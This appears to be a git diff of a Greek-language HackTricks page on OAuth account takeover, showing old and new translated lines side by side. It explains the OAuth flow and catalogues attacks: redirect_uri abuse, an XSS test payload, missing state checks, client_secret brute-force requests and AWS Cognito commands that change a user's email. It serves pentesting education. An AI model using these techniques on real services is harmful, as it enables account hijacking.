<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε τη [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στη [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -1,51 +1,51 @@
# OAuth για Εκμετάλλευση Λογαριασμού
# OAuth για Επανάληψη Λογαριασμού
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
Άλλοι τρόποι υποστήριξης των HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στα HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Βασικές Πληροφορίες <a href="#d4a8" id="d4a8"></a>
Το OAuth προσφέρει διάφορες εκδόσεις, με βασικές πληροφορίες προσβάσιμες στην [τεκμηρίωση του OAuth 2.0](https://oauth.net/2/). Αυτή η συζήτηση επικεντρώνεται κυρίως στο δημοφιλές [τύπο απόκτησης κωδικού εξουσιοδότησης OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), παρέχοντας ένα **πλαίσιο εξουσιοδότησης που επιτρέπει σε μια εφαρμογή να έχει πρόσβαση ή να εκτελεί ενέργειες στο λογαριασμό ενός χρήστη σε μια άλλη εφαρμογή** (ο διακομιστής εξουσιοδότησης).
Το OAuth προσφέρει διάφορες εκδόσεις, με βασικές πληροφορίες προσβάσιμες στην [τεκμηρίωση του OAuth 2.0](https://oauth.net/2/). Αυτή η συζήτηση επικεντρώνεται κυρίως στο ευρέως χρησιμοποιούμενο [τύπο χορήγησης κώδικα εξουσιοδότησης OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), παρέχοντας ένα **πλαίσιο εξουσιοδότησης που επιτρέπει σε μια εφαρμογή να έχει πρόσβαση ή να εκτελεί ενέργειες στον λογαριασμό ενός χρήστη σε μια άλλη εφαρμογή** (το διακομιστή εξουσιοδότησης).
Να ληφθεί υπόψη μια υποθετική ιστοσελίδα _**https://example.com**_, σχεδιασμένη για να **παρουσιάζει όλες τις αναρτήσεις σας στα μέσα κοινωνικής δικτύωσης**, συμπεριλαμβανομένων των ιδιωτικών. Για να επιτευχθεί αυτό, χρησιμοποιείται το OAuth 2.0. Η _https://example.com_ θα ζητήσει την άδειά σας να **έχει πρόσβαση στις αναρτήσεις σας στα μέσα κοινωνικής δικτύωσης**. Ως εκ τούτου, θα εμφανιστεί μια οθόνη συγκατάθεσης στην _https://socialmedia.com_, περιγράφοντας τις **άδειες που ζητούνται και τον προγραμματιστή που κάνει το αίτημα**. Με την έγκρισή σας, η _https://example.com_ αποκτά τη δυνατότητα να **έχει πρόσβαση στις αναρτήσεις σας εκ μέρους σας**.
Είναι σημαντικό να κατανοήσετε τα ακόλουθα στοιχεία εντός του πλαισίου OAuth 2.0:
Είναι ουσιώδες να κατανοήσετε τα ακόλουθα στοιχεία εντός του πλαισίου OAuth 2.0:
- **κάτοχος πόρων**: Εσείς, ως **χρήστης/οντότητα**, εξουσιάζετε την πρόσβαση στον πόρο σας, όπως οι αναρτήσεις του λογαριασμού σας στα μέσα κοινωνικής δικτύωσης.
- **διακομιστής πόρων**: Ο **διακομιστής που διαχειρίζεται αυθεντικές αιτήσεις** μετά την εξασφάλιση ενός `access token` εκ μέρους του `κατόχου πόρων`, π.χ., **https://socialmedia.com**.
- **διακομιστής πόρων**: Ο **διακομιστής που διαχειρίζεται αυθεντικοποιημένα αιτήματα** μετά την ασφαλή λήψη ενός `access token` εκ μέρους του `κατόχου πόρων`, π.χ., **https://socialmedia.com**.
- **εφαρμογή πελάτης**: Η **εφαρμογή που ζητά εξουσιοδότηση** από τον `κάτοχο πόρων`, όπως το **https://example.com**.
- **διακομιστής εξουσιοδότησης**: Ο **διακομιστής που εκδίδει `access tokens`** στην `εφαρμογή πελάτη` μετά την επιτυχή πιστοποίηση του `κατόχου πόρων` και την εξασφάλιση εξουσιοδότησης, π.χ., **https://socialmedia.com**.
- **διακομιστής εξουσιοδότησης**: Ο **διακομιστής που εκδίδει `access tokens`** στην `εφαρμογή πελάτη` μετά την επιτυχή αυθεντικοποίηση του `κατόχου πόρων` και την ασφαλή εξουσιοδότηση, π.χ., **https://socialmedia.com**.
- **client\_id**: Ένα δημόσιο, μοναδικό αναγνωριστικό για την εφαρμογή.
- **client\_secret:** Ένα εμπιστευτικό κλειδί, γνωστό μόνο στην εφαρμογή και στον διακομιστή εξουσιοδότησης, που χρησιμοποιείται για τη δημιουργία `access tokens`.
- **response\_type**: Ένας τύπος τιμής που καθορίζει **τον τύπο του ζητούμενου τοκέν**, όπως `code`.
- **scope**: Το **επίπεδο πρόσβασης** που ζητά η `εφαρμογή πελάτη` από τον `κάτοχο πόρων`.
- **client\_secret:** Ένα εμπιστευτικό κλειδί, γνωστό μόνο στην εφαρμογή και στον διακομιστή εξουσιοδότησης, που χρησιμοποιείται για τη δημιουργία `access_tokens`.
- **response\_type**: Ένας τύπος τιμής που καθορίζει **τον τύπο του ζητούμενου τοκέν**, όπως το `code`.
- **scope**: Το **επίπεδο πρόσβασης** που ζητά η `εφαρμογή πελάτης` από τον `κάτοχο πόρων`.
- **redirect\_uri**: Η **διεύθυνση URL στην οποία ανακατευθύνεται ο χρήστης μετά την εξουσιοδότηση**. Αυτή πρέπει συνήθως να συμφωνεί με την προ-καταχωρημένη διεύθυνση ανακατεύθυνσης.
- **state**: Ένα παράμετρο για τη **διατήρηση δεδομένων κατά την ανακατεύθυνση του χρήστη προς και από τον διακομιστή εξουσιοδότησης**. Η μοναδικότητά του είναι κρίσιμη για τη λειτουργία ως **μηχανισμός προστασίας CSRF**.
- **grant\_type**: Μια παράμετρος που υποδηλώνει **τον τύπο άδειας και τον τύπο του τοκέν που θα επιστραφεί**.
- **state**: Ένα παράμετρος για τη **διατήρηση δεδομένων κατά την ανακατεύθυνση του χρήστη προς και από τον διακομιστή εξουσιοδότησης**. Η μοναδικότητά του είναι κρίσιμη για τη λειτουργία ως **μηχανισμός προστασίας CSRF**.
- **grant\_type**: Μια παράμετρος που υποδηλώνει **τον τύπο χορήγησης και τον τύπο του τοκέν που θα επιστραφεί**.
- **code**: Ο κωδικός εξουσιοδότησης από τον `διακομιστή εξουσιοδότησης`, χρησιμοποιείται σε συνδυασμό με το `client_id` και το `client_secret` από την εφαρμογή πελάτη για την απόκτηση ενός `access_token`.
- **access\_token**: Το **τοκέν που χρησιμοποιεί η εφαρμογή πελάτη για αιτήσεις API** εκ μέρους του `κάτοχου πόρων`.
- **refresh\_token**: Επιτρέπει στην εφαρμογή να **λάβει ένα νέο `access_token` χωρίς να ζητήσει ξανά την έγκριση του χρήστη**.
- **access\_token**: Το **τοκέν που χρησιμοποιεί η εφαρμογή πελάτη για αιτήματα API** εκ μέρους του `κάτοχου πόρων`.
- **refresh\_token**: Επιτρέπει στην εφαρμογή να **λάβει ένα νέο `access_token` χωρίς να ζητήσει ξανά τη συγκατάθεση του χρήστη**.
### Ροή
Η **πραγματική ροή OAuth** προχωρά ως εξής:
1. Μεταβαίνετε στο [https://example.com](https://example.com) και επιλέγετε το κουμπί "Ενσωμάτωση με τα Κοινωνικά Δίκτυα".
1. Πλοηγείστε στο [https://example.com](https://example.com) και επιλέξτε το κουμπί "Ενσωμάτωση με Κοινωνικά Δίκτυα".
2. Στη συνέχεια, η ιστοσελίδα στέλνει ένα αίτημα στη διεύθυνση [https://socialmedia.com](https://socialmedia.com) ζητώντας την άδειά σας να επιτρέψετε στην εφαρμογή του https://example.com να έχει πρόσβαση στις αναρτήσεις σας. Το αίτημα δομείται ως:
```
https://socialmedia.com/auth
@ -61,13 +61,13 @@ https://socialmedia.com/auth
```
https://example.com?code=uniqueCode123&state=randomString123
```
5. Το https://example.com χρησιμοποιεί αυτόν τον `code`, μαζί με το `client_id` και το `client_secret` του, για να κάνει μια αίτηση στον εξυπηρετητή για να λάβει ένα `access_token` εκ μέρους σας, επιτρέποντας πρόσβαση στις άδειες που συμφωνήσατε:
5. https://example.com χρησιμοποιεί αυτόν τον `code`, μαζί με το `client_id` και το `client_secret` του, για να κάνει μια αίτηση στον διακομιστή για να λάβει ένα `access_token` εκ μέρους σας, επιτρέποντας πρόσβαση στις άδειες που συμφωνήσατε:
```
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
```
6. Τέλος, η διαδικασία ολοκληρώνεται όταν το https://example.com χρησιμοποιεί το `access_token` σας για να κάνει ένα κλήση API στα Κοινωνικά Δίκτυα για πρόσβαση
6. Τέλος, η διαδικασία ολοκληρώνεται όταν το https://example.com χρησιμοποιεί το `access_token` σας για να κάνει ένα κλήση API στα Κοινωνικά Μέσα για πρόσβαση
## Ευπάθειες <a href="#323a" id="323a"></a>
@ -75,15 +75,15 @@ Host: socialmedia.com
Το `redirect_uri` είναι κρίσιμο για την ασφάλεια στις υλοποιήσεις OAuth και OpenID, καθώς καθοδηγεί πού αποστέλλονται ευαίσθητα δεδομένα, όπως κωδικοί εξουσιοδότησης, μετά την εξουσιοδότηση. Εάν διαμορφωθεί εσφαλμένα, μπορεί να επιτρέψει σε επιτιθέμενους να ανακατευθύνουν αυτά τα αιτήματα σε κακόβουλους διακομιστές, ενεργοποιώντας την ανάληψη λογαριασμού.
Οι τεχνικές εκμετάλλευσης ποικίλουν ανάλογα με τη λογική επικύρωσης του διακομιστή εξουσιοδότησης. Μπορούν να κυμαίνονται από αυστηρή αντιστοίχιση διαδρομών μέχρι την αποδοχή οποιουδήποτε URL εντός του καθορισμένου τομέα ή υποκαταλόγου. Οι κοινές μέθοδοι εκμετάλλευσης περιλαμβάνουν ανοιχτές ανακατευθύνσεις, διάβαση διαδρομών, εκμετάλλευση αδύναμων regexes και ενσωμάτωση HTML για κλοπή διακριτικού.
Οι τεχνικές εκμετάλλευσης ποικίλουν ανάλογα με τη λογική επικύρωσης του διακομιστή εξουσιοδότησης. Μπορούν να κυμαίνονται από αυστηρή αντιστοίχιση μονοπατιών έως την αποδοχή οποιουδήποτε URL εντός του καθορισμένου τομέα ή υποκαταλόγου. Οι κοινές μεθόδοι εκμετάλλευσης περιλαμβάνουν ανοιχτές ανακατευθύνσεις, διάβαση μονοπατιών, εκμετάλλευση αδύναμων regexes και ενσωμάτωση HTML για κλοπή διακριτικού.
Εκτός από το `redirect_uri`, άλλοι παράμετροι OAuth και OpenID όπως το `client_uri`, το `policy_uri`, το `tos_uri` και το `initiate_login_uri` είναι επίσης ευάλωτοι σε επιθέσεις ανακατεύθυνσης. Αυτές οι παράμετροι είναι προαιρετικές και η υποστήριξή τους ποικίλλει ανάμεσα στους διακομιστές.
Για όσους στοχεύουν σε έναν διακομιστή OpenID, το σημείο ανακάλυψης (`**.well-known/openid-configuration**`) συχνά περιλαμβάνει σημαντικές λεπτομέρειες ρύθμισης όπως το `registration_endpoint`, το `request_uri_parameter_supported` και το "`require_request_uri_registration`. Αυτές οι λεπτομέρειες μπορούν να βοηθήσουν στην αναγνώριση του σημείου εγγραφής και άλλων συγκεκριμένων ρυθμίσεων του διακομιστή.
Για εκείνους που στοχεύουν έναν διακομιστή OpenID, το σημείο ανακάλυψης (`**.well-known/openid-configuration**`) συχνά αναφέρει σημαντικές λεπτομέρειες ρύθμισης όπως το `registration_endpoint`, το `request_uri_parameter_supported` και το "`require_request_uri_registration`. Αυτές οι λεπτομέρειες μπορούν να βοηθήσουν στην αναγνώριση του σημείου εγγραφής και άλλων συγκεκριμένων ρυθμίσεων του διακομιστή.
### XSS στην υλοποίηση ανακατεύθυνσης <a href="#bda5" id="bda5"></a>
Όπως αναφέρεται σε αυτήν την αναφορά αμοιβής ευρήματος σφαλμάτων [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) είναι πιθανό ότι το **URL ανακατεύθυνσης αντανακλάται στην απόκριση** του διακομιστή μετά την αυθεντικοποίηση του χρήστη, είναι **ευάλωτο σε XSS**. Πιθανό φορτίο για δοκιμή:
Όπως αναφέρεται σε αυτήν την αναφορά αμοιβής ευρήματος σφαλμάτων [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) είναι πιθανόν να υπάρχει η περίπτωση ότι το **URL ανακατεύθυνσης αντανακλάται στην απόκριση** του διακομιστή μετά την αυθεντικοποίηση του χρήστη, είναι **ευάλωτο σε XSS**. Πιθανό πελομένο για δοκιμή:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
@ -91,9 +91,9 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
Στις υλοποιήσεις OAuth, η κακή χρήση ή παράλειψη της **παραμέτρου `state`** μπορεί να αυξήσει σημαντικά τον κίνδυνο επιθέσεων **Cross-Site Request Forgery (CSRF)**. Αυτή η ευπάθεια προκύπτει όταν η παράμετρος `state` είτε **δεν χρησιμοποιείται, χρησιμοποιείται ως στατική τιμή, ή δεν επικυρώνεται σωστά**, επιτρέποντας στους επιτιθέμενους να παρακάμψουν τις προστασίες CSRF.
Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό ανακατευθύνοντας τη διαδικασία εξουσιοδότησης για να συνδέσουν το λογαριασμό τους με τον λογαριασμό ενός θύματος, οδηγώντας σε πιθανές **καταλήψεις λογαριασμού**. Αυτό είναι ιδιαίτερα κρίσιμο σε εφαρμογές όπου το OAuth χρησιμοποιείται για σκοπούς **ελέγχου ταυτότητας**.
Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό αποκτώντας την εξουσία να συνδέσουν τον λογαριασμό τους με τον λογαριασμό ενός θύματος, οδηγώντας σε πιθανές **καταλήψεις λογαριασμού**. Αυτό είναι ιδιαίτερα κρίσιμο σε εφαρμογές όπου το OAuth χρησιμοποιείται για **σκοπούς πιστοποίησης**.
Παραδείγματα αυτής της ευπάθειας έχουν καταγραφεί σε διάφορες προκλήσεις **CTF** και **πλατφόρμες χακτιβισμού**, αναδεικνύοντας τις πρακτικές της επιπτώσεις. Το πρόβλημα επεκτείνεται επίσης σε ενσωματώσεις με υπηρεσίες τρίτων όπως **Slack**, **Stripe** και **PayPal**, όπου οι επιτιθέμενοι μπορούν να ανακατευθύνουν ειδοποιήσεις ή πληρωμές στους λογαριασμούς τους.
Παραδείγματα αυτής της ευπάθειας έχουν καταγραφεί σε διάφορες προκλήσεις **CTF** και **πλατφόρμες χακτινγκ**, αναδεικνύοντας τις πρακτικές της επιπτώσεις. Το πρόβλημα επεκτείνεται επίσης σε ενσωματώσεις με υπηρεσίες τρίτων όπως **Slack**, **Stripe**, και **PayPal**, όπου οι επιτιθέμενοι μπορούν να ανακατευθύνουν ειδοποιήσεις ή πληρωμές στους λογαριασμούς τους.
Η σωστή χειρισμός και επικύρωση της **παραμέτρου `state`** είναι ζωτικής σημασίας για την προστασία ενάντια στο CSRF και την ασφάλεια της ροής του OAuth.
@ -101,18 +101,18 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
1. **Χωρίς Επαλήθευση Email κατά τη Δημιουργία Λογαριασμού**: Οι επιτιθέμενοι μπορούν προληπτικά να δημιουργήσουν ένα λογαριασμό χρησιμοποιώντας το email του θύματος. Αν το θύμα χρησιμοποιήσει αργότερα μια υπηρεσία τρίτου για σύνδεση, η εφαρμογή ενδέχεται να συνδέσει ακούσια αυτόν τον λογαριασμό τρίτου με τον προ-δημιουργημένο λογαριασμό του επιτιθέμενου, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
2. **Εκμετάλλευση Χαλαρής Επαλήθευσης Email στο OAuth**: Οι επιτιθέμενοι μπορεί να εκμεταλλευτούν υπηρεσίες OAuth που δεν επαληθεύουν emails εγγραφής με την υπηρεσία τους και στη συνέχεια να αλλάξουν το email του λογαριασμού σε αυτό του θύματος. Αυτή η μέθοδος απειλεί επίσης την μη εξουσιοδοτημένη πρόσβαση στο λογαριασμό, παρόμοια με το πρώτο σενάριο αλλά μέσω διαφορετικού διανύσματος επίθεσης.
2. **Εκμετάλλευση Χαλαρής Επαλήθευσης Email στο OAuth**: Οι επιτιθέμενοι μπορεί να εκμεταλλευτούν υπηρεσίες OAuth που δεν επαληθεύουν τα emails καταχωρώντας με την υπηρεσία τους και στη συνέχεια αλλάζοντας το email του λογαριασμού σε αυτό του θύματος. Αυτή η μέθοδος απειλεί επίσης την μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό, παρόμοια με το πρώτο σενάριο αλλά μέσω διαφορετικού διανύσματος επίθεσης.
### Αποκάλυψη Μυστικών <a href="#e177" id="e177"></a>
Η εντοπισμός και προστασία των μυστικών παραμέτρων OAuth είναι ζωτικής σημασίας. Ενώ το **`client_id`** μπορεί να αποκαλυφθεί με ασφάλεια, η αποκάλυψη του **`client_secret`** συνιστά σημαντικούς κινδύνους. Αν το `client_secret` διαρρεύσει, οι επιτιθέμενοι μπορούν να εκμεταλλευτούν την ταυτότητα και την εμπιστοσύνη της εφαρμογής για να **κλέψουν τα `access_tokens`** των χρηστών και προσωπικές πληροφορίες.
Μια συνηθισμένη ευπάθεια προκύπτει όταν οι εφαρμογές χειρίζονται λανθασμένα την ανταλλαγή του κωδικού εξουσιοδότησης για ένα `access_token` στην πλευρά του πελάτη αντί για την πλευρά του διακομιστή. Αυτό το λάθος οδηγεί στην αποκάλυψη του `client_secret`, επιτρέποντας στους επιτιθέμενους να δημιουργήσουν `access_tokens` υπό την εμφάνιση της εφαρμογής. Επιπλέον, μέσω κοινωνικής μηχανικής, οι επιτιθέμενοι θα μπορούσαν να αναβαθμίσουν τα δικαιώματά τους προσθέτοντας επιπλέον εύρος στην εξουσιοδότηση OAuth, εκμεταλλευόμενοι περαιτέρω την εμπιστοσύνη της εφαρμογής.
Μια συνηθισμένη ευπάθεια προκύπτει όταν οι εφαρμογές χειρίζονται λανθασμένα την ανταλλαγή του κώδικα εξουσιοδότησης για ένα `access_token` στην πλευρά του πελάτη αντί για την πλευρά του διακομιστή. Αυτό το λάθος οδηγεί στην αποκάλυψη του `client_secret`, επιτρέποντας στους επιτιθέμενους να δημιουργήσουν `access_tokens` υπό την εμφάνιση της εφαρμογής. Επιπλέον, μέσω κοινωνικής μηχανικής, οι επιτιθέμενοι θα μπορούσαν να αναβαθμίσουν τα δικαιώματα προσθέτοντας επιπλέον εύρος στην εξουσιοδότηση OAuth, εκμεταλλευόμενοι περαιτέρω την εμπιστοσύνη της εφαρμογής.
### Βίαιη Δοκιμή Κλειδιού Πελάτη
Μπορείτε να **δοκιμάσετε βίαια το κλειδί πελάτη** ενός παροχέα υπηρεσιών με τον πάροχο ταυτότητας προκειμένου να προσπαθήσετε να κλέψετε λογαριασμούς.\
Το αίτημα για BF μπορεί να μοιάζει με:
Μπορείτε να προσπαθήσετε να **δοκιμάσετε βίαια το κλειδί πελάτη** ενός παροχέα υπηρεσιών με τον πάροχο ταυτότητας προκειμένου να προσπαθήσετε να κλέψετε λογαριασμούς.\
Το αίτημα στην βίαιη δοκιμή μπορεί να μοιάζει με:
```
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
@ -122,15 +122,15 @@ Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
```
### Διαρροή Κώδικα + Κατάσταση μέσω του Κεφαλίδας Αναφορέα (Referer Header)
### Διαρροή Κώδικα + Κατάσταση στον Κεφαλίδα Αναφοράς
Αφού ο πελάτης έχει τον **κώδικα και την κατάσταση**, αν αυτά **αντανακλώνται μέσα στον Κεφαλίδα Αναφορέα (Referer header)** όταν περιηγείται σε διαφορετική σελίδα, τότε είναι ευάλωτο.
Αφού ο πελάτης έχει τον **κώδικα και την κατάσταση**, αν αυτά **αντανακλώνται μέσα στον κεφαλίδα Αναφοράς (Referer header)** όταν περιηγείται σε διαφορετική σελίδα, τότε είναι ευάλωτο.
### Πρόσβαση Κλειδιού Πρόσβασης Αποθηκευμένου στο Ιστορικό του Προγράμματος Περιήγησης
Πηγαίνετε στο **ιστορικό του προγράμματος περιήγησης και ελέγξτε αν το κλειδί πρόσβασης είναι αποθηκευμένο εκεί**.
### Κωδικός Εξουσιοδότησης που Διαρκεί για Πάντα
### Αιώνιος Κωδικός Εξουσιοδότησης
Ο **κωδικός εξουσιοδότησης θα πρέπει να ζει μόνο για κάποιο χρονικό διάστημα για να περιοριστεί το παράθυρο χρόνου όπου ένας επιτιθέμενος μπορεί να τον κλέψει και να τον χρησιμοποιήσει**.
@ -138,13 +138,13 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
Αν μπορείτε να πάρετε τον **κωδικό εξουσιοδότησης και να τον χρησιμοποιήσετε με ένα διαφορετικό πελάτη τότε μπορείτε να αναλάβετε τον έλεγχο άλλων λογαριασμών**.
### Ευτυχισμένες Διαδρομές, XSS, Iframes & Αποστολή Μηνυμάτων για τη Διαρροή κωδικού & κατάστασης
### Ευτυχισμένες Διαδρομές, XSS, Iframes & Αποστολή Μηνυμάτων για διαρροή κώδικα & τιμών κατάστασης
**[Ελέγξτε αυτήν την ανάρτηση](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
### AWS Cognito <a href="#bda5" id="bda5"></a>
Σε αυτήν την αναφορά ευρήματος ανταμοιβής ευρήματος σφαλμάτων: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) μπορείτε να δείτε ότι το **διακριτικό** που **δίνει πίσω το AWS Cognito** στον χρήστη μπορεί να έχει **επαρκείς δικαιώματα για την αντικατάσταση των δεδομένων του χρήστη**. Επομένως, αν μπορείτε να **αλλάξετε το email του χρήστη για ένα διαφορετικό email χρήστη**, μπορείτε να **αναλάβετε** τους λογαριασμούς άλλων.
Σε αυτήν την αναφορά επιδρομής σε ευρήματα ασφάλειας: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) μπορείτε να δείτε ότι το **διακριτικό** που δίνει πίσω το **AWS Cognito** στον χρήστη μπορεί να έχει **επαρκείς δικαιώματα για να αντικαταστήσει τα δεδομένα του χρήστη**. Επομένως, αν μπορείτε να **αλλάξετε το email του χρήστη με ένα διαφορετικό email χρήστη**, μπορείτε να **αναλάβετε** τους λογαριασμούς άλλων.
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -168,32 +168,15 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
Αυτό συμβαίνει επειδή ένας **επιτιθέμενος** θα μπορούσε να δημιουργήσει μια **εφαρμογή που υποστηρίζει το OAuth και να συνδεθεί με το Facebook** (για παράδειγμα) στη δική του εφαρμογή. Στη συνέχεια, μόλις ένα θύμα συνδεθεί με το Facebook στην **εφαρμογή του επιτιθέμενου**, ο επιτιθέμενος θα μπορούσε να λάβει το **OAuth token του χρήστη που δόθηκε στην εφαρμογή του, και να το χρησιμοποιήσει για να συνδεθεί στην εφαρμογή OAuth του θύματος χρησιμοποιώντας το token του χρήστη του θύματος**.
{% hint style="danger" %}
Συνεπώς, αν ο επιτιθέμενος καταφέρει να κάνει τον χρήστη να δώσει πρόσβαση στη δική του εφαρμογή OAuth, θα μπορέσει να αναλάβει τον έλεγχο του λογαριασμού του θύματος σε εφαρμογές που αναμένουν ένα token και δεν ελέγχουν αν το token χορηγήθηκε στο αναγνωριστικό της εφαρμογής τους.
Συνεπώς, αν ο επιτιθέμενος καταφέρει να κάνει τον χρήστη να δώσει πρόσβαση στη δική του εφαρμογή OAuth, θα μπορεί να αναλάβει τον έλεγχο του λογαριασμού του θύματος σε εφαρμογές που αναμένουν ένα token και δεν ελέγχουν αν το token χορηγήθηκε στο αναγνωριστικό της εφαρμογής τους.
{% endhint %}
### Δύο συνδέσμοι & cookie <a href="#bda5" id="bda5"></a>
Σύμφωνα με [**αυτό το άρθρο**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ήταν δυνατό να πείσει κάποιον να ανοίξει μια σελίδα με ένα **returnUrl** που οδηγεί στον διακομιστή του επιτιθέμενου. Αυτές οι πληροφορίες θα **αποθηκευτούν σε ένα cookie (RU)** και σε ένα **μεταγενέστερο βήμα** το **παράθυρο επιβεβαίωσης** θα **ζητήσει** από τον **χρήστη** αν θέλει να δώσει πρόσβαση σε αυτόν τον διακομιστή του επιτιθέμενου.
